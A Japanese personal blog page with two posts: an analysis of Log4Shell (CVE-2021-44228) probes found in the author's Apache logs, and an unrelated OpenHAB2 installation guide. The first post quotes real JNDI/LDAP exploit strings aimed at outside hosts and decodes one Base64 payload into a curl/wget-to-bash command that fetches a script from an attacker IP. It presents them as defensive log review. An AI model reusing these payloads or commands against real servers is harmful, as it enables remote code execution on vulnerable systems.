ホーム » 「Java」タグがついた投稿

タグアーカイブ: Java

システム

最近の投稿

アーカイブ

カテゴリー

Java Log4j 攻撃が自宅サーバにも来ている?

JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。

UserAgent で履歴確認

こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。

この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。

[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。

試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。

[~]# dig -x 68.183.207.73
:
;; AUTHORITY SECTION:
207.183.68.in-addr.arpa. 957    IN      SOA
  ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略)
[~]# whois kryptoslogic-cve-2021-44228.com
(略)

これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。

jndi:ldap の履歴確認

ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。

[~]# cd /var/log/apache2 
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"

すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…

わちゃ、こりゃ悪意の塊…

同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。

45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"

後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80
 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)  # xx.xx.xx.xx は攻撃対象のIP
|bash

なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。

たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。

[~]# dig -x 45.155.205.233
(略)
;; AUTHORITY SECTION:
205.155.45.in-addr.arpa. 1258   IN      SOA
   pns21.cloudns.net. support.cloudns.net. (略)
[~]# whois cloudns.net
(無料のDNSサービスなのであまりいい情報が無い)

[~]# ping 45.155.205.233
[ping 反応なし]
[~]# nmap 45.155.205.233
[nmap 反応なし]

たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。

まとめ記事へのリンク

Log4j に関連するパッケージ

Log4j は色々な使われ方をしているようなので、一応確認。

(( log4j という名前を含むパッケージの検索 ))
[~]# dpkg -l | grep log4j
ii  liblog-log4perl-perl  1.54-1  all  Perl port of the widely popular log4j logging package
(( liblog-log4per-perl に依存しているパッケージを探す ))
[~]# aptitude purge liblog-log4perl-perl
:
以下のパッケージには満たされていない依存関係があります:
 munin : 依存: liblog-log4perl-perl インストールされません

OpenHAB2 のインストール

SiriやGoogle home との相性を考え、家電制御のために、openhab2 をインストール

OpenHabのリポジトリ登録

$ wget -qO - 'https://bintray.com/user/downloadSubjectPublicKey?username=openhab' \
  | sudo apt-key add -
$ sudo apt-get install apt-transport-https
$ echo 'deb https://dl.bintray.com/openhab/apt-repo2 stable main' \
  | sudo tee /etc/apt/sources.list.d/openhab2.list
$ sudo apt-get update 

OpenHabのインストール

$ sudo aptitude install openhab2
$ sudo systemctl daemon-reload
$ sudo systemctl enable openhab2.service

Java環境の設定

上記の設定で、openhub2 のインストールは終わったけど、”systemctl start openhab2.service”を実行しても動いてくれない。起動スクリプトのための設定が必要。

(( /etc/default/openhab2 ))
:
OPENHAB_HTTP_PORT=8080
OPENHAB_HTTP_ADDRESS=192.168.xxx.0
:

相変わらず動かないけど、/var/log/opehhab2/openhab.log を見ると、Java のエラーが出ている。改めて確認すると、java のバージョンが java-8 で、9以降だと動かないみたい。改めて openjdk-8 をインストールし、systemdの設定で JAVA_HOME を指定するように変更。

$ sudo aptitude search openjdk-8 openjdk-8-jdk-headless
$ sudo vi /usr/lib/systemd/system/openhab2.service

(( /usr/lib/systemd/system/openhab2.service ))
:
[Service]
Environment=JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
:

$ sudo systemctl start openhab2.service

 

ブラウザで http://192.168.xx.xx:8080 で開いて、無事起動していることが確認できた。

Google 検索

My Google   Yahoo

Microsoft

ファンサイト